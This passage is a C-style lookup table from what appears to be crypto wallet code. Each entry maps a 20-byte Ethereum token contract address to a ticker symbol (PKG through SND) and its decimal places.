{{0x02,0xf2,0xd4,0xa0,0x4e,0x6e,0x01,0xac,0xe8,0x8b,0xd2,0xcd,0x63,0x28,0x75,0x54,0x3b,0x2e,0xf5,0x77}, "PKG ", 18},
{{0x26,0x04,0xfa,0x40,0x6b,0xe9,0x57,0xe5,0x42,0xbe,0xb8,0x9e,0x67,0x54,0xfc,0xde,0x68,0x15,0xe8,0x3f}, "PKT ", 18},
{{0x59,0x41,0x6A,0x25,0x62,0x8A,0x76,0xb4,0x73,0x0e,0xC5,0x14,0x86,0x11,0x4c,0x32,0xE0,0xB5,0x82,0xA1}, "PLASMA ", 6},
{{0xE4,0x77,0x29,0x2f,0x1B,0x32,0x68,0x68,0x7A,0x29,0x37,0x61,0x16,0xB0,0xED,0x27,0xA9,0xc7,0x61,0x70}, "PLAY ", 18},
{{0x0A,0xfF,0xa0,0x6e,0x7F,0xbe,0x5b,0xC9,0xa7,0x64,0xC9,0x79,0xaA,0x66,0xE8,0x25,0x6A,0x63,0x1f,0x02}, "PLBT ", 6},
{{0xe3,0x81,0x85,0x04,0xc1,0xB3,0x2b,0xF1,0x55,0x7b,0x16,0xC2,0x38,0xB2,0xE0,0x1F,0xd3,0x14,0x9C,0x17}, "PLR ", 18},
{{0xD8,0x91,0x2C,0x10,0x68,0x1D,0x8B,0x21,0xFd,0x37,0x42,0x24,0x4f,0x44,0x65,0x8d,0xBA,0x12,0x26,0x4E}, "PLU ", 18},
{{0x84,0x6c,0x66,0xcf,0x71,0xc4,0x3f,0x80,0x40,0x3b,0x51,0xfe,0x39,0x06,0xb3,0x59,0x9d,0x63,0x33,0x6f}, "PMA ", 18},
{{0x81,0xb4,0xd0,0x86,0x45,0xda,0x11,0x37,0x4a,0x03,0x74,0x9a,0xb1,0x70,0x83,0x6e,0x4e,0x53,0x97,0x67}, "PMNT ", 9},
{{0x93,0xed,0x3f,0xbe,0x21,0x20,0x7e,0xc2,0xe8,0xf2,0xd3,0xc3,0xde,0x6e,0x05,0x8c,0xb7,0x3b,0xc0,0x4d}, "PNK ", 18},
{{0x67,0x58,0xb7,0xd4,0x41,0xa9,0x73,0x9b,0x98,0x55,0x2b,0x37,0x37,0x03,0xd8,0xd3,0xd1,0x4f,0x9e,0x62}, "POA20 ", 18},
{{0x0e,0x09,0x89,0xb1,0xf9,0xb8,0xa3,0x89,0x83,0xc2,0xba,0x80,0x53,0x26,0x9c,0xa6,0x2e,0xc9,0xb1,0x95}, "POE ", 8},
{{0x43,0xf6,0xa1,0xbe,0x99,0x2d,0xee,0x40,0x87,0x21,0x74,0x84,0x90,0x77,0x2b,0x15,0x14,0x3c,0xe0,0xa7}, "POIN ", 0},
{{0x70,0x5E,0xE9,0x6c,0x1c,0x16,0x08,0x42,0xC9,0x2c,0x1a,0xeC,0xfC,0xFf,0xcc,0xc9,0xC4,0x12,0xe3,0xD9}, "POLL ", 18},
{{0x99,0x92,0xeC,0x3c,0xF6,0xA5,0x5b,0x00,0x97,0x8c,0xdD,0xF2,0xb2,0x7B,0xC6,0x88,0x2d,0x88,0xD1,0xeC}, "POLY ", 18},
{{0x77,0x9B,0x7b,0x71,0x3C,0x86,0xe3,0xE6,0x77,0x4f,0x50,0x40,0xD9,0xcC,0xC2,0xD4,0x3a,0xd3,0x75,0xF8}, "POOL ", 8},
{{0xee,0x60,0x9f,0xe2,0x92,0x12,0x8c,0xad,0x03,0xb7,0x86,0xdb,0xb9,0xbc,0x26,0x34,0xcc,0xdb,0xe7,0xfc}, "POS ", 18},
{{0x59,0x58,0x32,0xf8,0xfc,0x6b,0xf5,0x9c,0x85,0xc5,0x27,0xfe,0xc3,0x74,0x0a,0x1b,0x7a,0x36,0x12,0x69}, "POWR ", 6},
{{0xc4,0x22,0x09,0xac,0xcc,0x14,0x02,0x9c,0x10,0x12,0xfb,0x56,0x80,0xd9,0x5f,0xbd,0x60,0x36,0xe2,0xa0}, "PPP ", 18},
{{0xd4,0xfa,0x14,0x60,0xF5,0x37,0xbb,0x90,0x85,0xd2,0x2C,0x7b,0xcC,0xB5,0xDD,0x45,0x0E,0xf2,0x8e,0x3a}, "PPT ", 8},
{{0x88,0xa3,0xe4,0xf3,0x5d,0x64,0xaa,0xd4,0x1a,0x6d,0x40,0x30,0xac,0x9a,0xfe,0x43,0x56,0xcb,0x84,0xfa}, "PRE ", 18},
{{0x77,0x28,0xdf,0xef,0x5a,0xbd,0x46,0x86,0x69,0xeb,0x7f,0x9b,0x48,0xa7,0xf7,0x0a,0x50,0x1e,0xd2,0x9d}, "PRG ", 6},
{{0x3a,0xdf,0xc4,0x99,0x9f,0x77,0xd0,0x4c,0x83,0x41,0xba,0xc5,0xf3,0xa7,0x6f,0x58,0xdf,0xf5,0xb3,0x7a}, "PRIX ", 8},
{{0x18,0x44,0xb2,0x15,0x93,0x26,0x26,0x68,0xb7,0x24,0x8d,0x0f,0x57,0xa2,0x20,0xca,0xab,0xa4,0x6a,0xb9}, "PRL ", 18},
{{0x90,0x41,0xfe,0x5b,0x3f,0xde,0xa0,0xf5,0xe4,0xaf,0xdc,0x17,0xe7,0x51,0x80,0x73,0x8d,0x87,0x7a,0x01}, "PRO ", 18},
{{0x22,0x6b,0xb5,0x99,0xa1,0x2C,0x82,0x64,0x76,0xe3,0xA7,0x71,0x45,0x46,0x97,0xEA,0x52,0xE9,0xE2,0x20}, "PRO ", 8},
{{0xA3,0x14,0x9E,0x0f,0xA0,0x06,0x1A,0x90,0x07,0xfA,0xf3,0x07,0x07,0x4c,0xdC,0xd2,0x90,0xf0,0xe2,0xFd}, "PRON ", 8},
{{0xE4,0x0C,0x37,0x4d,0x88,0x05,0xb1,0xdD,0x58,0xCD,0xcE,0xFf,0x99,0x8A,0x2F,0x69,0x20,0xCb,0x52,0xFD}, "PRPS ", 18},
{{0x16,0x37,0x33,0xbc,0xc2,0x8d,0xbf,0x26,0xB4,0x1a,0x8C,0xfA,0x83,0xe3,0x69,0xb5,0xB3,0xaf,0x74,0x1b}, "PRS ", 18},
{{0x0c,0x04,0xd4,0xf3,0x31,0xda,0x8d,0xf7,0x5f,0x9e,0x2e,0x27,0x1e,0x3f,0x3f,0x14,0x94,0xc6,0x6c,0x36}, "PRSP ", 9},
{{0x5d,0x4a,0xbc,0x77,0xb8,0x40,0x5a,0xd1,0x77,0xd8,0xac,0x66,0x82,0xd5,0x84,0xec,0xbf,0xd4,0x6c,0xec}, "PST ", 18},
{{0x66,0x49,0x7a,0x28,0x3e,0x0a,0x00,0x7b,0xa3,0x97,0x4e,0x83,0x77,0x84,0xc6,0xae,0x32,0x34,0x47,0xde}, "PT ", 18},
{{0x2a,0x8E,0x98,0xe2,0x56,0xf3,0x22,0x59,0xb5,0xE5,0xCb,0x55,0xDd,0x63,0xC8,0xe8,0x91,0x95,0x06,0x66}, "PTC ", 18},
{{0x49,0x46,0x58,0x3c,0x5b,0x86,0xe0,0x1c,0xcd,0x30,0xc7,0x1a,0x05,0x61,0x7d,0x06,0xe3,0xe7,0x30,0x60}, "PTON ", 18},
{{0x8A,0xe4,0xBF,0x2C,0x33,0xa8,0xe6,0x67,0xde,0x34,0xB5,0x49,0x38,0xB0,0xcc,0xD0,0x3E,0xb8,0xCC,0x06}, "PTOY ", 8},
{{0x46,0x89,0xa4,0xe1,0x69,0xeb,0x39,0xcc,0x90,0x78,0xc0,0x94,0x0e,0x21,0xff,0x1a,0xa8,0xa3,0x9b,0x9c}, "PTT ", 18},
{{0x55,0x12,0xe1,0xd6,0xa7,0xbe,0x42,0x4b,0x43,0x23,0x12,0x6b,0x4f,0x9e,0x86,0xd0,0x23,0xf9,0x57,0x64}, "PTWO ", 18},
{{0xef,0x6b,0x4c,0xe8,0xc9,0xbc,0x83,0x74,0x4f,0xbc,0xde,0x26,0x57,0xb3,0x2e,0xc1,0x87,0x90,0x45,0x8a}, "PUC ", 0},
{{0xc1,0x48,0x30,0xe5,0x3a,0xa3,0x44,0xe8,0xc1,0x46,0x03,0xa9,0x12,0x29,0xa0,0xb9,0x25,0xb0,0xb2,0x62}, "PXT ", 8},
{{0x77,0x03,0xc3,0x5c,0xff,0xdc,0x5c,0xda,0x8d,0x27,0xaa,0x3d,0xf2,0xf9,0xba,0x69,0x64,0x54,0x4b,0x6e}, "PYLNT ", 18},
{{0x61,0x8e,0x75,0xac,0x90,0xb1,0x2c,0x60,0x49,0xba,0x3b,0x27,0xf5,0xd5,0xf8,0x65,0x1b,0x00,0x37,0xf6}, "QASH ", 6},
{{0x67,0x1A,0xbB,0xe5,0xCE,0x65,0x24,0x91,0x98,0x53,0x42,0xe8,0x54,0x28,0xEB,0x1b,0x07,0xbC,0x6c,0x64}, "QAU ", 8},
{{0xcb,0x5e,0xa3,0xc1,0x90,0xd8,0xf8,0x2d,0xea,0xdf,0x7c,0xe5,0xaf,0x85,0x5d,0xdb,0xf3,0x3e,0x39,0x62}, "QBIT ", 6},
{{0x24,0x67,0xaa,0x6b,0x5a,0x23,0x51,0x41,0x6f,0xd4,0xc3,0xde,0xf8,0x46,0x2d,0x84,0x1f,0xee,0xec,0xec}, "QBX ", 18},
{{0xea,0x26,0xc4,0xac,0x16,0xd4,0xa5,0xa1,0x06,0x82,0x0b,0xc8,0xae,0xe8,0x5f,0xd0,0xb7,0xb2,0xb6,0x64}, "QKC ", 18},
{{0x4a,0x22,0x0E,0x60,0x96,0xB2,0x5E,0xAD,0xb8,0x83,0x58,0xcb,0x44,0x06,0x8A,0x32,0x48,0x25,0x46,0x75}, "QNT ", 18},
{{0xFF,0xAA,0x5f,0xfc,0x45,0x5d,0x91,0x31,0xf8,0xA2,0x71,0x3A,0x74,0x1f,0xD1,0x96,0x03,0x30,0x50,0x8B}, "QRG ", 18},
{{0x69,0x7b,0xea,0xc2,0x8B,0x09,0xE1,0x22,0xC4,0x33,0x2D,0x16,0x39,0x85,0xe8,0xa7,0x31,0x21,0xb9,0x7F}, "QRL ", 8},
{{0x99,0xea,0x4d,0xB9,0xEE,0x77,0xAC,0xD4,0x0B,0x11,0x9B,0xD1,0xdC,0x4E,0x33,0xe1,0xC0,0x70,0xb8,0x0d}, "QSP ", 18},
{{0x2C,0x3C,0x1F,0x05,0x18,0x7d,0xBa,0x7A,0x5f,0x2D,0xd4,0x7D,0xca,0x57,0x28,0x1C,0x4d,0x4F,0x18,0x3F}, "QTQ ", 18},
{{0x9a,0x64,0x2d,0x6b,0x33,0x68,0xdd,0xc6,0x62,0xCA,0x24,0x4b,0xAd,0xf3,0x2c,0xDA,0x71,0x60,0x05,0xBC}, "QTUM ", 18},
{{0x26,0x4d,0xc2,0xde,0xdc,0xdc,0xbb,0x89,0x75,0x61,0xa5,0x7c,0xba,0x50,0x85,0xca,0x41,0x6f,0xb7,0xb4}, "QUN ", 18},
{{0x11,0x83,0xf9,0x2a,0x56,0x24,0xd6,0x8e,0x85,0xff,0xb9,0x17,0x0f,0x16,0xbf,0x04,0x43,0xb4,0xc2,0x42}, "QVT ", 18},
{{0x48,0xf7,0x75,0xef,0xbe,0x4f,0x5e,0xce,0x6e,0x0d,0xf2,0xf7,0xb5,0x93,0x2d,0xf5,0x68,0x23,0xb9,0x90}, "R ", 0},
{{0x45,0xed,0xb5,0x35,0x94,0x2a,0x8c,0x84,0xd9,0xf4,0xb5,0xd3,0x7e,0x1b,0x25,0xf9,0x1e,0xa4,0x80,0x4c}, "RAO ", 18},
{{0xfc,0x2c,0x4d,0x8f,0x95,0x00,0x2c,0x14,0xed,0x0a,0x7a,0xa6,0x51,0x02,0xca,0xc9,0xe5,0x95,0x3b,0x5e}, "RBLX ", 18},
{{0xf9,0x70,0xb8,0xe3,0x6e,0x23,0xf7,0xfc,0x3f,0xd7,0x52,0xee,0xa8,0x6f,0x8b,0xe8,0xd8,0x33,0x75,0xa6}, "RCN ", 18},
{{0x13,0xf2,0x5c,0xd5,0x2b,0x21,0x65,0x0c,0xaa,0x82,0x25,0xc9,0x94,0x23,0x37,0xd9,0x14,0xc9,0xb0,0x30}, "RCT ", 18},
{{0x25,0x5a,0xa6,0xdf,0x07,0x54,0x0c,0xb5,0xd3,0xd2,0x97,0xf0,0xd0,0xd4,0xd8,0x4c,0xb5,0x2b,0xc8,0xe6}, "RDN ", 18},
{{0x76,0x7b,0xA2,0x91,0x5E,0xC3,0x44,0x01,0x5a,0x79,0x38,0xE3,0xeE,0xDf,0xeC,0x27,0x85,0x19,0x5D,0x05}, "REA ", 18},
{{0x92,0x14,0xec,0x02,0xcb,0x71,0xcb,0xa0,0xad,0xa6,0x89,0x6b,0x8d,0xa2,0x60,0x73,0x6a,0x67,0xab,0x10}, "REAL ", 18},
{{0x5f,0x53,0xf7,0xa8,0x07,0x56,0x14,0xb6,0x99,0xba,0xad,0x0b,0xc2,0xc8,0x99,0xf4,0xba,0xd8,0xfb,0xbf}, "REBL ", 18},
{{0x76,0x96,0x0d,0xcc,0xd5,0xa1,0xfe,0x79,0x9f,0x7c,0x29,0xbe,0x9f,0x19,0xce,0xb4,0x62,0x7a,0xeb,0x2f}, "RED ", 18},
{{0xB5,0x63,0x30,0x0A,0x3B,0xAc,0x79,0xFC,0x09,0xB9,0x3b,0x6F,0x84,0xCE,0x0d,0x44,0x65,0xA2,0xAC,0x27}, "REDC ", 18},
{{0x89,0x30,0x35,0x00,0xa7,0xab,0xfb,0x17,0x8b,0x27,0x4f,0xd8,0x9f,0x24,0x69,0xc2,0x64,0x95,0x1e,0x1f}, "REF ", 8},
{{0x83,0x98,0x4d,0x61,0x42,0x93,0x4b,0xb5,0x35,0x79,0x3a,0x82,0xad,0xb0,0xa4,0x6e,0xf0,0xf6,0x6b,0x6d}, "REM ", 4},
{{0x40,0x8e,0x41,0x87,0x6c,0xCC,0xDC,0x0F,0x92,0x21,0x06,0x00,0xef,0x50,0x37,0x26,0x56,0x05,0x2a,0x38}, "REN ", 18},
{{0x19,0x85,0x36,0x5e,0x9f,0x78,0x35,0x9a,0x9B,0x6A,0xD7,0x60,0xe3,0x24,0x12,0xf4,0xa4,0x45,0xE8,0x62}, "REP ", 18},
{{0x8f,0x82,0x21,0xaF,0xbB,0x33,0x99,0x8d,0x85,0x84,0xA2,0xB0,0x57,0x49,0xbA,0x73,0xc3,0x7a,0x93,0x8a}, "REQ ", 18},
{{0xf0,0x5a,0x93,0x82,0xA4,0xC3,0xF2,0x9E,0x27,0x84,0x50,0x27,0x54,0x29,0x3D,0x88,0xb8,0x35,0x10,0x9C}, "REX ", 18},
{{0xd0,0x92,0x9d,0x41,0x19,0x54,0xc4,0x74,0x38,0xdc,0x1d,0x87,0x1d,0xd6,0x08,0x1f,0x5c,0x5e,0x14,0x9c}, "RFR ", 4},
{{0x4c,0x38,0x3b,0xdc,0xae,0x52,0xa6,0xe1,0xcb,0x81,0x0c,0x76,0xc7,0x0d,0x6f,0x31,0xa2,0x49,0xec,0x9b}, "RGS ", 8},
{{0x16,0x82,0x96,0xbb,0x09,0xe2,0x4a,0x88,0x80,0x5c,0xb9,0xc3,0x33,0x56,0x53,0x6b,0x98,0x0d,0x3f,0xc5}, "RHOC ", 8},
{{0x94,0x69,0xD0,0x13,0x80,0x5b,0xFf,0xB7,0xD3,0xDE,0xBe,0x5E,0x78,0x39,0x23,0x7e,0x53,0x5e,0xc4,0x83}, "RING ", 18},
{{0xdd,0x00,0x72,0x78,0xb6,0x67,0xf6,0xbe,0xf5,0x2f,0xd0,0xa4,0xc2,0x36,0x04,0xaa,0x1f,0x96,0x03,0x9a}, "RIPT ", 8},
{{0x0b,0x17,0x24,0xcc,0x9f,0xda,0x01,0x86,0x91,0x1e,0xf6,0xa7,0x59,0x49,0xe9,0xc0,0xd3,0xf0,0xf2,0xf3}, "RIYA ", 8},
{{0x10,0x6a,0xa4,0x92,0x95,0xb5,0x25,0xfc,0xf9,0x59,0xaa,0x75,0xec,0x3f,0x7d,0xcb,0xf5,0x35,0x2f,0x1c}, "RKT ", 18},
{{0x60,0x7F,0x4C,0x5B,0xB6,0x72,0x23,0x0e,0x86,0x72,0x08,0x55,0x32,0xf7,0xe9,0x01,0x54,0x4a,0x73,0x75}, "RLC ", 9},
{{0xcC,0xeD,0x5B,0x82,0x88,0x08,0x6B,0xE8,0xc3,0x8E,0x23,0x56,0x7e,0x68,0x4C,0x37,0x40,0xbe,0x4D,0x48}, "RLT ", 10},
{{0xbe,0x99,0xB0,0x97,0x09,0xfc,0x75,0x3b,0x09,0xBC,0xf5,0x57,0xA9,0x92,0xF6,0x60,0x5D,0x59,0x97,0xB0}, "RLTY ", 8},
{{0x4a,0x42,0xd2,0xc5,0x80,0xf8,0x3d,0xce,0x40,0x4a,0xca,0xd1,0x8d,0xab,0x26,0xdb,0x11,0xa1,0x75,0x0e}, "RLX ", 18},
{{0x7d,0xc4,0xf4,0x12,0x94,0x69,0x7a,0x79,0x03,0xc4,0x02,0x7f,0x6a,0xc5,0x28,0xc5,0xd1,0x4c,0xd7,0xeb}, "RMC ", 8},
{{0x8d,0x56,0x82,0x94,0x1c,0xe4,0x56,0x90,0x0b,0x12,0xd4,0x7a,0xc0,0x6a,0x88,0xb4,0x7c,0x76,0x4c,0xe1}, "RMESH ", 18},
{{0x09,0x96,0xbf,0xb5,0xd0,0x57,0xfa,0xa2,0x37,0x64,0x0e,0x25,0x06,0xbe,0x7b,0x4f,0x9c,0x46,0xde,0x0b}, "RNDR ", 18},
{{0xff,0x60,0x3f,0x43,0x94,0x6a,0x3a,0x28,0xdf,0x5e,0x6a,0x73,0x17,0x25,0x55,0xd8,0xc8,0xb0,0x23,0x86}, "RNT ", 18},
{{0x1f,0xe7,0x0b,0xe7,0x34,0xe4,0x73,0xe5,0x72,0x1e,0xa5,0x7c,0x8b,0x5b,0x01,0xe6,0xca,0xa5,0x26,0x86}, "RNTB ", 18},
{{0x1b,0xcb,0xc5,0x41,0x66,0xf6,0xba,0x14,0x99,0x34,0x87,0x0b,0x60,0x50,0x61,0x99,0xb6,0xc9,0xdb,0x6d}, "ROC ", 10},
{{0xA4,0x01,0x06,0x13,0x4c,0x5b,0xF4,0xc4,0x14,0x11,0x55,0x4e,0x6d,0xb9,0x9B,0x95,0xA1,0x5e,0xd9,0xd8}, "ROCK ", 18},
{{0xC1,0x6b,0x54,0x2f,0xf4,0x90,0xe0,0x1f,0xcc,0x0D,0xC5,0x8a,0x60,0xe1,0xEF,0xdc,0x3e,0x35,0x7c,0xA6}, "ROCK2 ", 0},
{{0x0E,0x3d,0xe3,0xB0,0xE3,0xD6,0x17,0xFD,0x8D,0x1D,0x80,0x88,0x63,0x9b,0xA8,0x77,0xfe,0xb4,0xd7,0x42}, "ROCK2PAY ", 18},
{{0xc9,0xde,0x4b,0x7f,0x0c,0x3d,0x99,0x1e,0x96,0x71,0x58,0xe4,0xd4,0xbf,0xa4,0xb5,0x1e,0xc0,0xb1,0x14}, "ROK ", 18},
{{0x49,0x93,0xCB,0x95,0xc7,0x44,0x3b,0xdC,0x06,0x15,0x5c,0x5f,0x56,0x88,0xBe,0x9D,0x8f,0x69,0x99,0xa5}, "ROUND ", 18},
{{0xb4,0xef,0xd8,0x5c,0x19,0x99,0x9d,0x84,0x25,0x13,0x04,0xbd,0xa9,0x9e,0x90,0xb9,0x23,0x00,0xbd,0x93}, "RPL ", 18},
{{0xec,0x49,0x1c,0x10,0x88,0xea,0xe9,0x92,0xb7,0xa2,0x14,0xef,0xb0,0xa2,0x66,0xad,0x09,0x27,0xa7,0x2a}, "RTB ", 18},
{{0x3f,0xd8,0xf3,0x9a,0x96,0x2e,0xfd,0xa0,0x49,0x56,0x98,0x1c,0x31,0xab,0x89,0xfa,0xb5,0xfb,0x8b,0xc8}, "RTH ", 18},
{{0x54,0xb2,0x93,0x22,0x60,0x00,0xcc,0xBF,0xC0,0x4D,0xF9,0x02,0xeE,0xC5,0x67,0xCB,0x4C,0x35,0xa9,0x03}, "RTN ", 18},
{{0xf2,0x78,0xc1,0xca,0x96,0x90,0x95,0xff,0xdd,0xde,0xd0,0x20,0x29,0x0c,0xf8,0xb5,0xc4,0x24,0xac,0xe2}, "RUFF ", 18},
{{0xdE,0xE0,0x2D,0x94,0xbe,0x49,0x29,0xd2,0x6f,0x67,0xB6,0x4A,0xda,0x7a,0xCf,0x19,0x14,0x00,0x7F,0x10}, "RUNE ", 18},
{{0x3d,0x1b,0xa9,0xbe,0x9f,0x66,0xb8,0xee,0x10,0x19,0x11,0xbc,0x36,0xd3,0xfb,0x56,0x2e,0xac,0x22,0x44}, "RVT ", 18},
{{0xe8,0x66,0x3a,0x64,0xa9,0x61,0x69,0xff,0x4d,0x95,0xb4,0x29,0x9e,0x7a,0xe9,0xa7,0x6b,0x90,0x5b,0x31}, "Rating ", 8},
{{0x1e,0xc8,0xfe,0x51,0xa9,0xb6,0xa3,0xa6,0xc4,0x27,0xd1,0x7d,0x9e,0xcc,0x30,0x60,0xfb,0xc4,0xa4,0x5c}, "S-A-PAT ", 18},
{{0x3e,0xb9,0x1d,0x23,0x7e,0x49,0x1e,0x0d,0xee,0x85,0x82,0xc4,0x02,0xd8,0x5c,0xb4,0x40,0xfb,0x6b,0x54}, "S-ETH ", 18},
{{0x41,0x56,0xD3,0x34,0x2D,0x5c,0x38,0x5a,0x87,0xD2,0x64,0xF9,0x06,0x53,0x73,0x35,0x92,0x00,0x05,0x81}, "SALT ", 8},
{{0x7C,0x5A,0x0C,0xE9,0x26,0x7E,0xD1,0x9B,0x22,0xF8,0xca,0xe6,0x53,0xF1,0x98,0xe3,0xE8,0xda,0xf0,0x98}, "SAN ", 18},
{{0x78,0xfe,0x18,0xe4,0x1f,0x43,0x6e,0x19,0x81,0xa3,0xa6,0x0d,0x15,0x57,0xc8,0xa7,0xa9,0x37,0x04,0x61}, "SCANDI ", 2},
{{0xd7,0x63,0x17,0x87,0xb4,0xdc,0xc8,0x7b,0x12,0x54,0xcf,0xd1,0xe5,0xce,0x48,0xe9,0x68,0x23,0xde,0xe8}, "SCL ", 8},
{{0x24,0xdc,0xc8,0x81,0xe7,0xdd,0x73,0x05,0x46,0x83,0x44,0x52,0xf2,0x18,0x72,0xd5,0xcb,0x4b,0x52,0x93}, "SCRL ", 18},
{{0xa1,0x3f,0x07,0x43,0x95,0x1b,0x4f,0x6e,0x3e,0x3a,0xa0,0x39,0xf6,0x82,0xe1,0x72,0x79,0xf5,0x2b,0xc3}, "SENC ", 18},
{{0x67,0x45,0xfA,0xB6,0x80,0x1e,0x37,0x6c,0xD2,0x4F,0x03,0x57,0x2B,0x9C,0x9B,0x0D,0x4E,0xdD,0xDC,0xcf}, "SENSE ", 8},
{{0xa4,0x4e,0x51,0x37,0x29,0x3e,0x85,0x5b,0x1b,0x7b,0xc7,0xe2,0xc6,0xf8,0xcd,0x79,0x6f,0xfc,0xb0,0x37}, "SENT ", 8},
{{0xe0,0x6e,0xda,0x74,0x35,0xba,0x74,0x9b,0x04,0x73,0x80,0xce,0xd4,0x91,0x21,0xdd,0xe9,0x33,0x34,0xae}, "SET ", 0},
{{0x98,0xf5,0xe9,0xb7,0xf0,0xe3,0x39,0x56,0xc0,0x44,0x3e,0x81,0xbf,0x7d,0xeb,0x8b,0x5b,0x1e,0xd5,0x45}, "SEXY ", 18},
{{0xa1,0xcc,0xc1,0x66,0xfa,0xf0,0xE9,0x98,0xb3,0xE3,0x32,0x25,0xA1,0xA0,0x30,0x1B,0x1C,0x86,0x11,0x9D}, "SGEL ", 18},
{{0xb2,0x13,0x5a,0xb9,0x69,0x5a,0x76,0x78,0xdd,0x59,0x0b,0x1a,0x99,0x6c,0xb0,0xf3,0x7b,0xcb,0x07,0x18}, "SGN ", 9},
{{0x33,0xc6,0x23,0xa2,0xba,0xaf,0xeb,0x8d,0x15,0xdf,0xaf,0x3c,0xe4,0x40,0x95,0xef,0xec,0x83,0xd7,0x2c}, "SGP ", 18},
{{0xcb,0x5a,0x05,0xbe,0xf3,0x25,0x76,0x13,0xe9,0x84,0xc1,0x7d,0xbc,0xf0,0x39,0x95,0x2b,0x6d,0x88,0x3f}, "SGR ", 8},
{{0x37,0x42,0x75,0x76,0x32,0x4f,0xE1,0xf3,0x62,0x5c,0x91,0x02,0x67,0x47,0x72,0xd7,0xCF,0x71,0x37,0x7d}, "SelfieYo ", 18},
{{0xd2,0x48,0xB0,0xD4,0x8E,0x44,0xaa,0xF9,0xc4,0x9a,0xea,0x03,0x12,0xbe,0x7E,0x13,0xa6,0xdc,0x14,0x68}, "StatusGn ", 1},
{{0xe2,0x5b,0x0b,0xba,0x01,0xdc,0x56,0x30,0x31,0x2b,0x6a,0x21,0x92,0x7e,0x57,0x80,0x61,0xa1,0x3f,0x55}, "SHIP ", 18},
{{0xEF,0x2E,0x99,0x66,0xeb,0x61,0xBB,0x49,0x4E,0x53,0x75,0xd5,0xDf,0x8d,0x67,0xB7,0xdB,0x8A,0x78,0x0D}, "SHIT ", 0},
{{0x85,0x42,0x32,0x5b,0x72,0xc6,0xd9,0xfc,0x0a,0xd2,0xca,0x96,0x5a,0x78,0x43,0x54,0x13,0xa9,0x15,0xa0}, "SHL ", 18},
{{0xef,0x24,0x63,0x09,0x93,0x60,0xa0,0x85,0xf1,0xf1,0x0b,0x07,0x6e,0xd7,0x2e,0xf6,0x25,0x49,0x7a,0x06}, "SHP ", 18},
{{0x8a,0x18,0x7d,0x52,0x85,0xd3,0x16,0xbc,0xbc,0x9a,0xda,0xfc,0x08,0xb5,0x1d,0x70,0xa0,0xd8,0xe0,0x00}, "SIFT ", 0},
{{0x68,0x88,0xa1,0x6e,0xA9,0x79,0x2c,0x15,0xA4,0xDC,0xF2,0xf6,0xC6,0x23,0xD0,0x55,0xc8,0xeD,0xe7,0x92}, "SIG ", 18},
{{0x4a,0xf3,0x28,0xc5,0x29,0x21,0x70,0x6d,0xcb,0x73,0x9f,0x25,0x78,0x62,0x10,0x49,0x91,0x69,0xaf,0xe6}, "SKB ", 8},
{{0x13,0xDB,0x74,0xB3,0xcf,0x51,0x2F,0x65,0xC4,0xb9,0x16,0x83,0x94,0x0B,0x4f,0x39,0x55,0xE0,0x50,0x85}, "SKE ", 8},
{{0x2b,0xDC,0x0D,0x42,0x99,0x60,0x17,0xfC,0xe2,0x14,0xb2,0x16,0x07,0xa5,0x15,0xDA,0x41,0xA9,0xE0,0xC5}, "SKIN ", 6},
{{0xd9,0x9b,0x8a,0x7f,0xa4,0x8e,0x25,0xcc,0xe8,0x3b,0x81,0x81,0x22,0x20,0xa3,0xe0,0x3b,0xf6,0x4e,0x5f}, "SKM ", 18},
{{0x49,0x94,0xe8,0x18,0x97,0xa9,0x20,0xc0,0xFE,0xA2,0x35,0xeb,0x8C,0xEd,0xEE,0xd3,0xc6,0xfF,0xF6,0x97}, "SKO1 ", 18},
{{0x4c,0x38,0x2F,0x8E,0x09,0x61,0x5A,0xC8,0x6E,0x08,0xCE,0x58,0x26,0x6C,0xC2,0x27,0xe7,0xd4,0xD9,0x13}, "SKR ", 6},
{{0xfd,0xFE,0x8b,0x7a,0xB6,0xCF,0x1b,0xD1,0xE3,0xd1,0x45,0x38,0xEf,0x40,0x68,0x62,0x96,0xC4,0x20,0x52}, "SKRP ", 18},
{{0x6E,0x34,0xd8,0xd8,0x47,0x64,0xD4,0x0f,0x6D,0x7b,0x39,0xcd,0x56,0x9F,0xd0,0x17,0xbF,0x53,0x17,0x7D}, "SKRP 1 ", 18},
{{0x32,0x4a,0x48,0xeb,0xcb,0xb4,0x6e,0x61,0x99,0x39,0x31,0xef,0x9d,0x35,0xf6,0x69,0x7c,0xd2,0x90,0x1b}, "SKRP 1-E ", 18},
{{0x7A,0x5f,0xF2,0x95,0xDc,0x82,0x39,0xd5,0xC2,0x37,0x4E,0x4D,0x89,0x42,0x02,0xaA,0xF0,0x29,0xCa,0xb6}, "SLT ", 3},
{{0x79,0x28,0xc8,0xaB,0xF1,0xF7,0x4e,0xF9,0xF9,0x6D,0x4D,0x0a,0x44,0xe3,0xb4,0x20,0x9d,0x36,0x07,0x85}, "SLY ", 18},
{{0x6F,0x6D,0xEb,0x5d,0xb0,0xC4,0x99,0x4A,0x82,0x83,0xA0,0x1D,0x6C,0xFe,0xEB,0x27,0xFc,0x3b,0xBe,0x9C}, "SMART ", 0},
{{0x39,0x01,0x3f,0x96,0x1c,0x37,0x8f,0x02,0xc2,0xb8,0x2a,0x6e,0x1d,0x31,0xe9,0x81,0x27,0x86,0xfd,0x9d}, "SMS ", 3},
{{0x2d,0xcf,0xaa,0xc1,0x1c,0x9e,0xeb,0xd8,0xc6,0xc4,0x21,0x03,0xfe,0x9e,0x2a,0x6a,0xd2,0x37,0xaf,0x27}, "SmartNod ", 18},
{{0x55,0xf9,0x39,0x85,0x43,0x1f,0xc9,0x30,0x40,0x77,0x68,0x7a,0x35,0xa1,0xba,0x10,0x3d,0xc1,0xe0,0x81}, "SmartMsh ", 18},
{{0x78,0xEb,0x8D,0xC6,0x41,0x07,0x7F,0x04,0x9f,0x91,0x06,0x59,0xb6,0xd5,0x80,0xE8,0x0d,0xC4,0xd2,0x37}, "SocialMk ", 8},
{{0x19,0x8a,0x87,0xb3,0x11,0x41,0x43,0x91,0x3d,0x42,0x29,0xfb,0x0f,0x6d,0x4b,0xcb,0x44,0xaa,0x8a,0xff}, "SNBL ", 8},
{{0xF4,0x13,0x41,0x46,0xAF,0x2d,0x51,0x1D,0xd5,0xEA,0x8c,0xDB,0x1C,0x4A,0xC8,0x8C,0x57,0xD6,0x04,0x04}, "SNC ", 18},
{{0xf3,0x33,0xb2,0xAc,0xe9,0x92,0xac,0x2b,0xBD,0x87,0x98,0xbF,0x57,0xBc,0x65,0xa0,0x61,0x84,0xaf,0xBa}, "SND ", 0},
